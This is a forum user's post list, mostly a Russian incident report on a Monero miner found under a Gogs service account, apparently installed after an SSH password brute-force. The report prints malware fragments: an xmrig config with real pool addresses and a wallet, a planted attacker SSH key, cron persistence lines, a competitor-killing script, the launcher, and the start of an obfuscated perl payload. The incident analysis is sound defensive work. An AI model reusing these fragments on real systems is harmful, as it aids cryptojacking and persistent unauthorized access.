LINUX.ORG.RU

Сообщения LINUX-ORG-RU

 

Можно меня заморозить до первого числа? Пожалуйста.

 , , ,

Сервер отключать не обязательно, пусть люди общаются. Спасибо.

LINUX-ORG-RU
()

Советов тред по настройке безопасности.

 , , ,

В связи с АХТУНГ: Пишу из горящего танка , ко мне на linux ПК влез майнер! накатываю свежий Debian. Чтобы избежать детских ошибок чтобы вы посоветовали в плане безопасности системы.

Будет роутер, в промежутке между провайдером и мною.

  • iptables

  • fail2ban

  • авторизация по ключу

  • Монтирование с noexec, но всё же веду разработку и надо запускать бинари из хомячка, это удобно.

Это с вашими советами по конфигурации и иное что порекомендуете касательно настройки свежей системы?

Всем спасибо.

LINUX-ORG-RU
()

АХТУНГ: Пишу из горящего танка , ко мне на linux ПК влез майнер!

 , , , ,

GOGS НАВЕРНОЕ НЕ ВИНОВААААТ!!!!!!!!!!!!! UPDATE3 НИЖЕ!!!!!!! Я ЛОХХХХХХХХХ :D

Подробности чуть попозже я сейчас аудит аудитаю. Сеть включил только что-бы отписать, сейчас вырублю.

Суть у меня от отдельного пользователя по имени gogs был запущен сервис gogs через systemd https://i.ibb.co/qpthFzW/20210913040630-494x376.png не так давно мне приспичило перезагрузить комп ибо я забыл на проце виртулизацию активировать, и после включения и поднятия гогса 3 ядра проца зависли на 100% я увидал это https://i.ibb.co/GWB9Qwz/20210913033655-1408x93.png погрепал нашёл это https://i.ibb.co/bsKhpD5/20210913040047-507x381.png

В логал скрипты долбились во всё, но остались под пользователем gogs. Процессы (там ещё были) я не убил, а приостановил. Хороче сейчас всё проверю и вернусь.

Почему гогс? Да потому что он запускался от отдельного пользователя и кроме настроенного gogs там ничего нет. У меня сейчас скрипты, ssh ключ публичный который прописался вместо того что был, бинарник этой хрени и логи немного. Я хз куда скидывать эту гадость, да и скидывать ли?

UPDATE

И так сегодня ночью я перезагрузил ПК. Обнаружил что 3 ядра процессора заняты на 100% увидев запущенный процесс ./kswapd0 запущенный от пользователя gogs которого я создал что-бы от его имени запускалась git вебморда одноимённого проекта.

Все процессы от имени пользователя gogs я приостановил, отключил все сетевые соединения и погасил интерфейсы eth0,wlan0

Cверил /etc с бекапом по sha512 всё прежнее, на месте, обновлённое проверил глазами, никаких прописанных кронов и сервисов нет.

Все файлы из пользователя gogs скопировал в отдельный каталог для изучения. Запущенные процессы не имели открытых файлов поэтому там изучать нечего я их просто убил. Так же вычистил всё что-было связано с пользователем gogs и затем удалил его самого. Всё. Проверил свой хомяк, левых бинарей у меня нет. ssh по ключам. Никакой активности всё штатно. Эта вода что-бы не отвечать на вопросы, а ты это, а ты то.

И так, запустил я компуктер и запустился гогс сервер (а я реееедко перезагружаюсь) Его лог на момент запуска.

2021/09/13 00:17:31 [TRACE] Doing: MirrorUpdate
2021/09/13 00:27:31 [TRACE] Doing: MirrorUpdate
2021/09/13 00:31:38 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:38 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:38 [ INFO] Cache Service Enabled
2021/09/13 00:31:38 [ INFO] Session Service Enabled
2021/09/13 00:31:38 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:38 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:38 [ INFO] SQLite3 Supported
2021/09/13 00:31:38 [ INFO] Run Mode: Production
2021/09/13 00:31:39 [ INFO] Listen: http://0.0.0.0:3000
2021/09/13 00:31:58 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:58 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:58 [ INFO] Cache Service Enabled
2021/09/13 00:31:58 [ INFO] Session Service Enabled
2021/09/13 00:31:58 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:58 [ INFO] SQLite3 Supported
2021/09/13 00:31:58 [ INFO] Run Mode: Production
2021/09/13 00:31:58 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:58 [TRACE] Log Mode: File (Trace)
2021/09/13 00:31:58 [ INFO] Gogs 0.11.53.0603
2021/09/13 00:31:58 [ INFO] Cache Service Enabled
2021/09/13 00:31:58 [ INFO] Session Service Enabled
2021/09/13 00:31:58 [ INFO] Git Version: 2.33.0
2021/09/13 00:31:58 [ INFO] SQLite3 Supported
2021/09/13 00:31:58 [ INFO] Run Mode: Production
2021/09/13 00:31:58 [TRACE] Doing: CheckRepoStats
2021/09/13 00:31:58 [ INFO] Listen: http://0.0.0.0:3000
2021/09/13 00:41:58 [TRACE] Doing: MirrorUpdate

Во время его работы были созданы файлы с датой создания Пн 13 сен 2021 00∶31∶38 в каталоге ./configrc

.configrc$ ls -lAR
.:
итого 16
drwxrwxrwx 2 1002 1002 4096 сен 13 05:44 a
drwxrwxrwx 2 1002 1002 4096 сен 13 05:44 b
-rwxrwxrwx 1 1002 1002  271 сен 13 00:31 cron.d
-rwxrwxrwx 1 1002 1002   21 сен 13 00:31 dir2.dir

./a:
итого 2820
-rwxrwxrwx 1 1002 1002     876 сен 13 00:31 a
-rwxrwxrwx 1 1002 1002       1 сен 13 02:44 bash.pid
-rwxrwxrwx 1 1002 1002      23 сен 13 02:44 dir.dir
-rwxrwxrwx 1 1002 1002    9568 сен 13 00:31 init0
-rwxrwxrwx 1 1002 1002 2843144 сен 13 00:31 kswapd0
-rwxrwxrwx 1 1002 1002      10 сен 13 05:44 .procs
-rwxrwxrwx 1 1002 1002     226 сен 13 00:31 run
-rwxrwxrwx 1 1002 1002     700 сен 13 00:31 stop
-rwxrwxrwx 1 1002 1002     202 сен 13 00:31 upd

./b:
итого 84
-rwxrwxrwx 1 1002 1002 11634 сен 13 05:44 1
-rwxrwxrwx 1 1002 1002   157 сен 13 00:31 a
-rwxrwxrwx 1 1002 1002    23 сен 13 00:31 dir.dir
-rwxrwxrwx 1 1002 1002 50935 сен 13 00:31 run
-rwxrwxrwx 1 1002 1002  6004 сен 13 00:31 stop
-rwxrwxrwx 1 1002 1002    42 сен 13 00:31 sync

Внутри видно kswapd0 который и был запущен. Это бинарь упакованый. Внутри майнер xmrig c вшитым конфигом вот такого содержания

            "algo": null,
            "coin": "monero",
            "url": "[2a0e:fa00:0:5::1]:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
         },
         {
            "algo": null,
            "coin": "monero",
            "url": "[2a0e:fa00:0:5::1]:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
         },
   	 {
            "algo": null,
            "coin": "monero",
            "url": "debian-package.center:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.125:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.125:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.129:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.129:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.117:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.117:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.58:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.58:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.59:80",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        },
        {
            "algo": null,
            "coin": "monero",
            "url": "45.9.148.59:443",
            "user": "483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS",
            "pass": "x",
            "rig-id": null,
            "nicehash": false,
            "keepalive": true,
            "enabled": true,
            "tls": false,
            "tls-fingerprint": null,
            "daemon": false,
            "self-select": null
        }
    ],
    "print-time": 60,
    "health-print-time": 60,
    "retries": 1,
    "retry-pause": 3,
    "syslog": false,
    "user-agent": null,
    "watch": true,
    "pause-on-battery": false
}

Сам бинарник публиковать не буду.

Одним из скриптов был удалён и вновь создан каталог .ssh с содержимым.

.ssh/authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr

SHA512 всех этих файлов

1ba854c321d89441291da2638d65748ffa06923a63fd2bb9be8a66440236503fb34e375726a8da679b55ced51dda82293ffcfb8bb76563e2da0071222d3247bf  .ssh/authorized_keys

3567d8d553d42e4450683126ac7beac5c5e713091b20aaf28040d91bfebe19b0431588d7c34e4a3d5c6e4f7af45e1ccce7654e730c0512c0c5c5d28be548cb24  .configrc/cron.d

ee8c0f03fa194321a0a8324418ba3204b06323a424b295b514213e90aa656a47d76e2f81074d46ccddd7801276de7d5665a3bbd770507dc6425e697b5bc97c95  .configrc/dir2.dir

f26bcbdcf7417308bdec3f3f8b6ef453d2b7417b16d015eeddfc447955068b48667554fd9a1b896ee9d44ac3c2cac54137fc455c45f94251f42e5e3a1e7b6230  .configrc/a/a

be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09  .configrc/a/bash.pid

1bc338f3ed46c8623a6a6e871d71a7641d7daa5494b2502523c21f1d5af097ada2c441bf12f222a3d61dc7169494693635ea14200faabae6993781c16167abac  .configrc/a/dir.dir

8ff2784f8437875a8b388d3f0d7eaf4b9d98c2374aafbd33df19f1255842889caf9bdafb55c5f9ac5e937624aae58fc1845134335916f79648e8a5d4de077d79  .configrc/a/init0

ede860bbec1a47a971a5bcfd024a9e338b2fdfe407df00b0cd0f4e436e3175d31f68964605b351abc3784d5c9046cd00189b7b3a82359cfeb1081b5d85cd6dda  .configrc/a/kswapd0

a7b00698bf4d74c154ea4fdc1b76eae4ca6319189d63354a77f2a813ae248d36b16154f6f3d7f9ae3d5fa84e882e7476b02f1870fde3f3251f3d4f4733cc0a22  .configrc/a/run

b8bc24b9ea7b26e18bb26c9b1887f600142d5f283f074d64db72a9fea551f754904b1c8e93cb58282eb08fec5b03730ab66351526567a39c78f57648af40bc3f  .configrc/a/stop

fdceef26293c927036bec874457fd8e7a7baa94188a8f8720aeed5e2041ee412eee8731a1df1ce17b5d35ed47e0c39828156db78af6e0134f4e7bcebf5557e7a  .configrc/a/upd
 
91da308e50e177c9b7df28d4feaf6d9a20593d997bdbde232110216b7d346a39197960f4d342d3b9a7498ed68018cd375cfab22245ec4d7ab03fcab56753d862  .configrc/a/.procs

95305080f1dc993c89dde01138a2b915e20201bf6bdd7595393708b72d2b75abd376ac0c4df53fc72e33555294cedf60f3c702ad72bb3f8d5d461c2e42f26da1  .configrc/b/1

21d49249ca656d3f6ce7a77876796590ae66d31963a6cdf65bb294ca45372e68686f8f7fd846035ed53f1155962447a8054bf2ea081e02fbb4b3fa1b6e376881  .configrc/b/a

a99d5a12ce0e3d4fe1b8606200376b239bfe668353a2402f45eccd61c33451a466f663fe0c5817b41c2e748f69f36dece3b1887a7f290b0e5375abc9c47c1dad  .configrc/b/dir.dir

0dc180b53574dce4de4160c54810a019edae1828f0cc6c1513a3dac7173833e41d19cc9a81b762136e37a7c578a43508f076a8fa9fc9ff919a0748f259d431fe  .configrc/b/run

cd1c489afdcd9a02a05401e803e238417e2421b7f43b93b25b882d2bd005ff2e4ae61f3bd47aaa5577d9c3573c34dfe7ee6801abdc16bfe38c70550c97358f2a  .configrc/b/stop

3b196433e2d0c57946d61512b004e14c46e1207d3de5a0dcbaa62966b98449c08c3074d29cf0211648a26db2298caa4af294c69dcd8ab4cf4ec16dda14d23bf0  .configrc/b/sync

Есть лог вот с таким сорержимым https://pastebin.com/5LyB7pP9

Внутри скриптов немного логики, определение процессора, много base64 строк, это бинарники которые скрипты восстанавливают если надо.

От пользователя отдельного этого запускался только gogs в автоматическом режиме, всё. Я считаю виноват гогс.

./gogs --version
Gogs version 0.11.53.0603
sha512sum ./gogs 
c7a5541cd03fdc69b12c714be32ba6d6e8fdad5af42b865a3cd1d333db6cba0130130399b6a8283dacab3794ff1b359e865fe47085633cb892d6119f6642603f  ./gogs

Хотел залить куда то вдруг кому покопать интересно, но в этом смысла нет, можно просто скачать нужную версию и проверить хеш, если совпало значит оно.

Конфиг был такой

APP_NAME = Gogs
RUN_USER = gogs
RUN_MODE = prod

[database]
DB_TYPE  = sqlite3
HOST     = 127.0.0.1:3306
NAME     = gogs
USER     = root
PASSWD   = 
SSL_MODE = disable
PATH     = /home/gogs/gogs/data/gogs.db

[repository]
ROOT = /home/gogs/gogs-repositories

[server]
DOMAIN           = localhost
HTTP_PORT        = 3000
ROOT_URL         = http://localhost:3000/
DISABLE_SSH      = false
SSH_PORT         = 22
START_SSH_SERVER = false
OFFLINE_MODE     = false

[mailer]
ENABLED = false

[service]
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL     = false
DISABLE_REGISTRATION   = true
ENABLE_CAPTCHA         = false
REQUIRE_SIGNIN_VIEW    = true

[picture]
DISABLE_GRAVATAR        = false
ENABLE_FEDERATED_AVATAR = false

[session]
PROVIDER = file

[log]
MODE      = file
LEVEL     = Info
ROOT_PATH = /home/gogs/gogs/log

[security]
INSTALL_LOCK = true
SECRET_KEY   = AHYsdf2GIsqRJkD

Собственно вот и всё. Можно ещё написать подробностей, но мне спать хоца. Гланое хеши выложил и основную инфу, кому надо смогут проверить нет ли у них такой параши.

Сравнил ещё через diff -qr никаких различий в gogs у меня и тут https://github.com/gogs/gogs/releases/tag/v0.11.53 linux_amd64.tar.gz нет. Не считая мною созданных файлов и иного созданного в процессе работы. Там я всё глазами проверил всё чисто.

Подытожу. Был скачан gogs настроен как в конфиге выше, для него был создан пользоваьтель gogs в домешнем каталоге которого и находился исполняемый файл, был написан юнит как на скрине выше который запускался при старте системы. Всё. До этого всё нормально было и работало, но после перезагрузки от пользователя gogs создались файлы и запустили майнер.

Скрипты я публиковатьк как сказал не буду что-бы мамкиным какерам не давать инструменты. Но скажу, оно прописывает пользоватю задачу в cron которая располагалась в /var/spool/cron/crontabs/gogs

1 1 */2 * * /home/gogs/.configrc/a/upd>/dev/null 2>&1
@reboot /home/gogs/.configrc/a/upd>/dev/null 2>&1
5 8 * * 1 /home/gogs/.configrc/b/sync>/dev/null 2>&1
@reboot /home/gogs/.configrc/b/sync>/dev/null 2>&1  
0 */23 * * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

ОБРАТИТЕ ВНИМАНИЕ НА ПОСЛЕДНЮЮ СТРОЧКУ Если вы проверяете у себя.

В ./a/upd немного логики и запуск ./run и далее по цепочке, множество переходов вплоть до ./b где если сервер смотрит попой в мир с белым ip то всё, удалённый доступ есть по ключу. Но перед тем как запустится оно проверяте кучу майреров и пытается их убить лол )))))

Вон их скока всяких бывает


	killall \.Historys
	killall \.sshd
	killall neptune
	killall xm64
	killall xm32
	killall ld-linux
	killall xmrig
	killall \.xmrig
	killall suppoieup

	pkill -f sourplum
	pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
	
	ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "119.9.76.107:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "/var/tmp/sustes" | awk '{print $2}'|xargs kill -9
	ps auxf|grep -v grep|grep "ld-linux" | awk '{print $2}'|xargs kill -9

	ps auxf|grep xiaoyao| awk '{print $2}'|xargs kill -9
	ps auxf|grep Donald| awk '{print $2}'|xargs kill -9
	ps auxf|grep Macron| awk '{print $2}'|xargs kill -9
	ps auxf|grep ld-linux| awk '{print $2}'|xargs kill -9

	ps auxf|grep named| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelcfg| awk '{print $2}'|xargs kill -9
	ps auxf|grep xiaoxue| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupgrade| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelorg| awk '{print $2}'|xargs kill -9
	ps auxf|grep kernelupdates| awk '{print $2}'|xargs kill -9

	ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
	ps ax|grep -o './[0-9]* -c'| xargs pkill -f

	pkill -f /usr/bin/.sshd
	pkill -f acpid
	pkill -f Donald
	pkill -f Macron
	pkill -f AnXqV.yam
	pkill -f apaceha
	pkill -f askdljlqw
	pkill -f bashe
	pkill -f bashf
	pkill -f bashg
	pkill -f bashh
	pkill -f bashx
	pkill -f BI5zj
	pkill -f biosetjenkins
	pkill -f bonn.sh
	pkill -f bonns
	pkill -f conn.sh
	pkill -f conns
	pkill -f cryptonight
	pkill -f crypto-pool
	pkill -f ddg.2011
	pkill -f deamon
	pkill -f disk_genius
	pkill -f donns
	pkill -f Duck.sh
	pkill -f gddr
	pkill -f Guard.sh
	pkill -f i586
	pkill -f icb5o
	pkill -f ir29xc1
	pkill -f irqba2anc1
	pkill -f irqba5xnc1
	pkill -f irqbalanc1
	pkill -f irqbalance
	pkill -f irqbnc1
	pkill -f JnKihGjn
	pkill -f jweri
	pkill -f kw.sh
	pkill -f kworker34
	pkill -f kxjd
	pkill -f libapache
	pkill -f Loopback
	pkill -f lx26
	pkill -f mgwsl
	pkill -f minerd
	pkill -f minergate
	pkill -f minexmr
	pkill -f mixnerdx
	pkill -f mstxmr
	pkill -f nanoWatch
	pkill -f nopxi
	pkill -f NXLAi
	pkill -f performedl
	pkill -f polkitd
	pkill -f pro.sh
	pkill -f pythno
	pkill -f qW3xT.2
	pkill -f sourplum
	pkill -f stratum
	pkill -f sustes
	pkill -f wnTKYg
	pkill -f XbashY
	pkill -f XJnRj
	pkill -f xmrig
	pkill -f xmrigDaemon
	pkill -f xmrigMiner
	pkill -f ysaydh
	pkill -f zigw
	pkill -f ld-linux

И это ещё не всё, лол.

Оно даже по портам своих друзей по роду ищет

	netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 140.82.52.87 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 119.9.76.107 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :23 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :143 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :2222 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3389 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6665 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :6667 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :8444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :14433 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 138.199.40.233:9137 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
	netstat -anp | grep 185.150.117.29 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9

И только восле всех приготовлений, когда оно готово единолично майнить оно себя запускает

#!/bin/bash
./stop
./init0
sleep 10
pwd > dir.dir
dir=$(cat dir.dir)
ARCH=`uname -m`
	if [ "$ARCH" == "i686" ]; then
		nohup ./anacron >>/dev/null & 
	elif [ "$ARCH" == "x86_64" ];   then
		./kswapd0
	fi
echo $! > bash.pid

К слову ./anacron у меня небыло.

Ещё оно содержит base64 строку которая декодируясь отдаётся в perl

eval unpack u=>q{_(R`@("`@("`@("`M($%D:6-I;VYA9&\@8V]M8 и так далее в этом виде дохрена перлоты

Всё. Я спать.

UPDATE3 АААААААААААААААААААААААААААААААААААААААААА

Я встал, а вдруг меня брутфорснули, короче смотрю сюда grep -in Accept /var/log/auth.log

И Уоооооооооопааааааанааааа

... 
25515:Sep 13 00:03:55 gnu sshd[250080]: Accepted password for gogs from 222.232.242.116 port 56529 ssh2
...

Чиииииииииииивоооооооооооооооо? Каким хером? Ай пи 222.232.242.116 South Korea🇰🇷 Seoul Seoul

Как оно пробралось? Вернее как он с внешнего ip ко мне в локалхост пришёл? Яж за провайдером? Или тут gogs мог подсобить туннель организовав? Я нихера не понял.

Судя по времени 00:03:55 коннект по ssh был до создания файлов 00∶31∶38.

UPDATE4: https://savepearlharbor.com/?p=296720

Я не первый https://savepearlharbor.com/?p=296720 GOGS тут походу не причём, меня просто каким то хером с внешнего ip хотя у меня мой динамический подконектились к моему пк. Лол.

Как? Я не догоняю и очень хочу спать. Оборудование провайдера похакано и оно во внутренней сети брутфорсит? Отпишите. А мне насрать я точно рпять спать. вСё.

LINUX-ORG-RU
()

Матрица 4 нагенерировала 180 000 роликов

 , , , ,

В которых я так понял меняется только показываемое время.

https://thechoiceisyours.whatisthematrix.com/ru/ завтра трейлер, нео проснись ты *****.

Чёт мне кажется что фильм будет так себе.

Но я надеюсь! Люблю матрицу.

Трейлер появился https://www.youtube.com/watch?v=8qB8EGNOtr8

Ничего не зелёное ((, где фильтры для антуражу? Вроде опять супергеройка с романтикой. Одно можно понять. У Нео отшибло память, ему помогли вспомнить, а потом сделали предложение от которого он не мог отказаться , а потом бдыыщщ, виуувиииууу тыррр тырррр, бабааааах, бууум, дрыыыщщщ и он всех победил. Короче не ждите матрицу, будет просто вероятно хороший боевик походу. Но к матрице уже отношение слабое.

LINUX-ORG-RU
()

Фейковый фокус для окна [Решено]

 insurgency, , , ,

Как сделать так что-бы заданное мною окно думало что оно в фокусе всегда, но никакого пользовательского ввода ему не шло, мышка, клава там?

Нужно для игры, когда её сворачиваю альт-таб она там звук икает страшно.

UDP: Ничего патчить не нужно игра INSURGENCY но тут подойдёт любая игра на SOURCE ENGINE. Есть параметр engine_no_focus_sleep 0 отключающий задержку sleep по умолчанию значение 50 миллисекунд. Оно ловит эвенты window_minimised/widow_unfocus/и подобное и начинает на заданное время стопорить игру целиком.

LINUX-ORG-RU
()

switch и последовательность нескольких case

 , ,

Я не совсем понимаю. Насколько плохо делать вот так.

switch(ch)
{
    case '%': case '$': case '#': foo(ch); break;
    case '!': bar(ch); break;
    default: break;
}

Вместо этого

switch(ch)
{
    case '%': foo(ch); break;
    case '$': foo(ch); break;
    case '#': foo(ch); break;
    case '!': bar(ch); break;
    default: break;
}

